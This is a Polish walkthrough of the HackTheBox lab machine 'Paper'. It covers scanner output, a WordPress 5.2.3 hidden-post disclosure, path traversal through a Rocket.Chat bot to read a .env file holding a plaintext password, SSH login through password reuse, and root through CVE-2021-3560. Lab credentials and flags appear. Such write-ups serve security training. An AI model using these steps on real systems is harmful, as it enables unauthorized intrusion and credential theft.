Paper - 09.02.2022

Adres IP Pandora: 10.129.155.118 Adres IP mojego Linuxa: `10.10.14.224


NMap

┌──(kali㉿kali)-[~/htb/paper]                                                                                                                                                                                                                
└─$ nmap -sC -sV 10.129.155.118                                                                                                                                                                                                              
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-08 12:47 CET                                                                                                                                                                              
Nmap scan report for 10.129.155.118                                                                                                                                                                                                          
Host is up (0.076s latency).                                                                                                                                                                                                                 
Not shown: 997 closed ports                                                                                                                                                                                                                  
PORT    STATE SERVICE  VERSION                                                                                                                                                                                                               
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)                                                                                                                                                                                            
| ssh-hostkey:                                                                                                                                                                                                                               
|   2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)                                                                                                                                                                               
|   256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)                                                                                                                                                                              
|_  256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)                                                                                                                                                                            
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)                                                                                                                                                         
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28                                                                                                                                                                               
| http-methods:                                                                                                                                                                                                                              
|_  Potentially risky methods: TRACE                                                                                                                                                                                                         
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9                                                                                                                                                                  
|_http-title: HTTP Server Test Page powered by CentOS                                                                                                                                                                                        
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)                                                                                                                                                         
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28                                                                                                                                                                               
| http-methods:                                                                                                                                                                                                                              
|_  Potentially risky methods: TRACE                                                                                                                                                                                                         
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9                                                                                                                                                                  
|_http-title: HTTP Server Test Page powered by CentOS                                                                                                                                                                                        
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US                                                                                                                                            
| Subject Alternative Name: DNS:localhost.localdomain                                                                                                                                                                                        
| Not valid before: 2021-07-03T08:52:34                                                                                                                                                                                                      
|_Not valid after:  2022-07-08T10:32:34                                                                                                                                                                                                      
|_ssl-date: TLS randomness does not represent time                                                                                                                                                                                           
| tls-alpn:                                                                                                                                                                                                                                  
|_  http/1.1                                                                                                                                                                                                                                 
                                                                                                                                                                                                                                             
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .                                                                                                                                               
Nmap done: 1 IP address (1 host up) scanned in 20.22 seconds

Mamy otwarte kilka portów:

22 - SSH
80 - HTTP Apache
443 - HTTPS

FeroxBuster

Następnie przechodzę do enumeracji folderów na Apache.

┌──(kali㉿kali)-[~/htb/paper]                                                                                                                                                                                                                
└─$ feroxbuster -u http://10.129.155.118 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -d 1 -t 50                                                                                                                          
                                                                                                                                                                                                                                             
 ___  ___  __   __     __      __         __   ___                                                                                                                                                                                           
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__                                                                                                                                                                                            
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___                                                                                                                                                                                           
by Ben "epi" Risher 🤓                 ver: 2.4.1                                                                                                                                                                                            
───────────────────────────┬──────────────────────                                                                                                                                                                                           
 🎯  Target Url            │ http://10.129.155.118                                                                                                                                                                                           
 🚀  Threads               │ 50                                                                                                                                                                                                              
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt                                                                                                                                                    
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]                                                                                                                                                              
 💥  Timeout (secs)7                                                                                                                                                                                                               
 🦡  User-Agent            │ feroxbuster/2.4.1                                                                                                                                                                                               
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml                                                                                                                                                                              
 🔃  Recursion Depth       │ 1                                                                                                                                                                                                               
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest                                                                                                                                                           
───────────────────────────┴──────────────────────                                                                                                                                                                                           
 🏁  Press [ENTER] to use the Scan Management Menu™                                                                                                                                                                                          
──────────────────────────────────────────────────                                                                                                                                                                                           
301        7l       20w      237c http://10.129.155.118/manual                                                                                                                                                                               
[####################] - 13m   220545/220545  0s      found:1       errors:0                                                                                                                                                                 
[####################] - 13m   220545/220545  277/s   http://10.129.155.118

Mamy jeden wynik. Podfolder/manual.


Nikto

┌──(kali㉿kali)-[~/htb/paper]                                                                                                                                                                                                                
└─$ nikto -h http://10.129.155.118 -C all                                                                                                                                                                                                    
- Nikto v2.1.6                                                                                                                                                                                                                               
---------------------------------------------------------------------------                                                                                                                                                                  
+ Target IP:          10.129.155.118                                                                                                                                                                                                         
+ Target Hostname:    10.129.155.118                                                                                                                                                                                                         
+ Target Port:        80                                                                                                                                                                                                                     
+ Start Time:         2022-02-08 12:48:51 (GMT1)                                                                                                                                                                                             
---------------------------------------------------------------------------                                                                                                                                                                  
+ Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9                                                                                                                                                                              
+ The anti-clickjacking X-Frame-Options header is not present.                                                                                                                                                                               
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS                                                                                                                    
+ Uncommon header 'x-backend-server' found, with contents: office.paper                                                                                                                                                                      
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type                                                                                    
+ Retrieved x-powered-by header: PHP/7.2.24                                                                                                                                                                                                  
+ Allowed HTTP Methods: POST, OPTIONS, HEAD, GET, TRACE                                                                                                                                                                                      
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST                                                                                                                                                           
+ OSVDB-3092: /manual/: Web server manual found.           
+ OSVDB-3268: /icons/: Directory indexing found.           
+ OSVDB-3268: /manual/images/: Directory indexing found.                                                              
+ OSVDB-3233: /icons/README: Apache default file found.                                                               
+ 26522 requests: 0 error(s) and 11 item(s) reported on remote host                                                   
+ End Time:           2022-02-08 13:30:45 (GMT1) (2514 seconds)                                                       
---------------------------------------------------------------------------                                           
+ 1 host(s) tested

Strona główna

Możemy sprawdzić sobie stronę pod adresem http://10.129.155.118.


W logach można zobaczyć coś niestandardowego a mianowicie + Uncommon header 'x-backend-server' found, with contents: office.paper. Zatem mamy prawdopodobną domenę. Dodaję wpis do /etc/hosts 10.129.155.118 office.paper.

Po wejściu na http://office.paper mamy CMS Wordpress. Przechodzę zatem do jego enumeracji.


wpscan

┌──(kali㉿kali)-[~/htb/paper]
└─$ wpscan --url http://office.paper                                              
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | `_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.18
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]y
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://office.paper/ [10.129.155.118]
[+] Started: Wed Feb  9 11:06:18 2022

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
 |  - X-Powered-By: PHP/7.2.24
 |  - X-Backend-Server: office.paper
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] WordPress readme found: http://office.paper/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-05).
 | Found By: Rss Generator (Passive Detection)
 |  - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
 |  - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>

[+] WordPress theme in use: construction-techup
 | Location: http://office.paper/wp-content/themes/construction-techup/
 | Last Updated: 2021-07-17T00:00:00.000Z
 | Readme: http://office.paper/wp-content/themes/construction-techup/readme.txt
 | [!] The version is out of date, the latest version is 1.4
 | Style URL: http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1
 | Style Name: Construction Techup
 | Description: Construction Techup is child theme of Techup a Free WordPress Theme useful for Business, corporate a...
 | Author: wptexture
 | Author URI: https://testerwp.com/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <=======================================> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Wed Feb  9 11:06:26 2022
[+] Requests Done: 180
[+] Cached Requests: 5
[+] Data Sent: 43.575 KB
[+] Data Received: 17.792 MB
[+] Memory used: 223.547 MB
[+] Elapsed time: 00:00:07

Zatem wiemy, że jest to Wordpress 5.2.3 na motywie construction-techup 1.1. Jednak nic konkretnego nie mamy.


Enumeracja subdomen

Przechodzę do dalszego szukania wektora ataku. Nie przeprowadziłem jeszcze enumeracji subdomen. Użyję do tego celu gobuster.

┌──(kali㉿kali)-[~/htb/paper]                                                                            
└─$ gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://office.paper -o subdomains.txt                                                                                       
===============================================================
Gobuster v3.1.0                                     
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://office.paper
[+] Method:       GET                               
[+] Threads:      10                                
[+] Wordlist:     /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s                               
===============================================================
2022/02/09 12:24:58 Starting gobuster in VHOST enumeration mode
===============================================================
Found: chat.office.paper (Status: 200) [Size: 223163]
                                                      
===============================================================
2022/02/09 12:37:48 Finished
===============================================================

Mamy jeden wynik. chat.office.paper oczywiście dodaje do /etc/hosts.


chat.office.paper

Po wejściu widzimy panel logowania rocket.chat.

Sprawdziłem w internecie czy można w jakiś sposób ustalić wersję zainstalowanego rocket.chat. Jeden z użytkowników zasugerował aby wysłać request do /api/info.

Po przejściu na URL. Udało mi się ustalić wersję rocket.chat. Jest to wersja 3.16.1.

Niestety ponownie nie mamy żadnej podatności na tą wersję.


Wordpress enumeration

Postanowiłem jeszcze poszukać czegoś wokół Wordpressa. Jeden z postów miał taki komentarz. To nauka na przyszłość, żeby te najprostsze rzeczy sprawdzać na samym początku.

Post stworzył user prisonmike, poniżej mamy komentarze z potencjalnymi userami.

prisonmike
nick
michael

Wordpress umożliwia sprawdzenie czy użytkownicy z danymi nazwami istnieją. Po prostym sprawdzeniu wiemy, że nick oraz prisonmike to na pewno userzy na Wordpressie.

Niestety bruteforce się nie udał.


Searchsploit wordpress

Warto spojrzeć również na podatności na tą wersję Wordpressa.

┌──(kali㉿kali)-[~/htb/paper]
└─$ searchsploit wordpress 5.2.3
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
WordPress Core 5.2.3 - Cross-Site Host Modification                                                                                                                              | php/webapps/47361.pl
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts                                                                                                          | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service                                                                                                                          | php/dos/47800.py
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities                                                                                                              | php/webapps/39553.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection                                                                                                                        | php/webapps/44943.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection                                                                                                                      | php/webapps/48918.sh
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Widzimy, że wersja jest podatna na Viewing Unauthenticated/Password/Private Posts. To brzmi ciekawie w kontekście poprzedniego postu, w którym jeden z adminów prosi o usunięcie secret contentu. Faktycznie po wpisaniu http://office.paper/?static=1 otrzymałem “ukrytą stronę” z tekstem.

Mamy URL do rejestracji nowego użytkownika czatu.

http://chat.office.paper/register/8qozr226AhkCHZdyY

Również wyżej na screenie jest wspomniane, że rejestracja odbywa się przy pomocy specjalnego linku. Zatem mogę przejść i spróbować stworzyć nowego usera.

Po wpisaniu testowych danych jestem przekierowany na panel rocket.chat.


Chat

Mamy tutaj czat, szukałem tutaj chwilę i udało się się znaleźć coś ciekawego. Na tym serwerze tekstowym jest dodany bot recyclops. Jego zadania to m. in:

For security reasons, the access is limited to the Sales folder.

3. Files:
eg: 'recyclops get me the file test.txt', or 'recyclops could you send me the file src/test.php' or just 'recyclops file test.txt'
4. List:
You can ask me to list the files

Ale jak się okazuje da się wyjść z folderu sales poprzez ../../.

Prawdopodobnie będę mógł sprawdzić config Wordpressa lub klucze SSH.

Do Wordpressa nie mogę się dostać, nie ma też id_rsa w .ssh. Natomiast są dziwne folder hubot oraz skrypt bot_restart.sh.

Sprawdziłem folder hubot i znalazłem plik .env, w którym zapisane były istotne informacje. Jest to plik przechowujący zmienne środowiskowe.

 export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
<!=====End of file ../../../home/dwight/hubot/.env=====>
<!=====End of file ../../../home/dwight/hubot/.env=====>

Mamy zapisane dane logowania w zmiennych:

recyclops:Queenofblad3s!23

Próbowałem zalogować się na bota i spróbować wyciągnąć jakieś istotne informacje z czatów, ale bot miał wyłączoną możliwość interakcji przez stronę. Jednak sprawdziłem hasło dla usera dwight i okazało się, że da się zalogować.

user.txt 8b2cc3456f506dc23821b271e122eb64


Privilege Escalation

linpeas

LinPEAS od razu wykrył problem z wersją sudo.

╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.29

Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
Modular dependency problems:

 Problem 1: conflicting requests
  - nothing provides module(perl:5.26) needed by module perl-IO-Socket-SSL:2.066:8030020201222215140:1e4bbb35.x86_64
 Problem 2: conflicting requests
  - nothing provides module(perl:5.26) needed by module perl-libwww-perl:6.34:8030020201223164340:b967a9a2.x86_64
Vulnerable to CVE-2021-3560

Proste googlowanie potwierdziło, że to podatność CVE-2021-3560.

[dwight@paper p]$ ./polkadots                                                                                                                                                                                      
account: boris                                                                                                                                                                                                     
account name: Boris Ivanovich Grishenko                                                                                                                                                                            
hashed_password: $6$cGKhfu9znRnOQV1h$2j/3WKyqTcCaftP1PGhW8Pghj2qV5j8zwy1gHrt9eILUE6WKeWVCTa9QgkskIfwVXpjVI.TuX2D.rEkbwKubi/                                                                                        
iters: 20

root.txt

a291accfcede74a3136bbbce7035fda6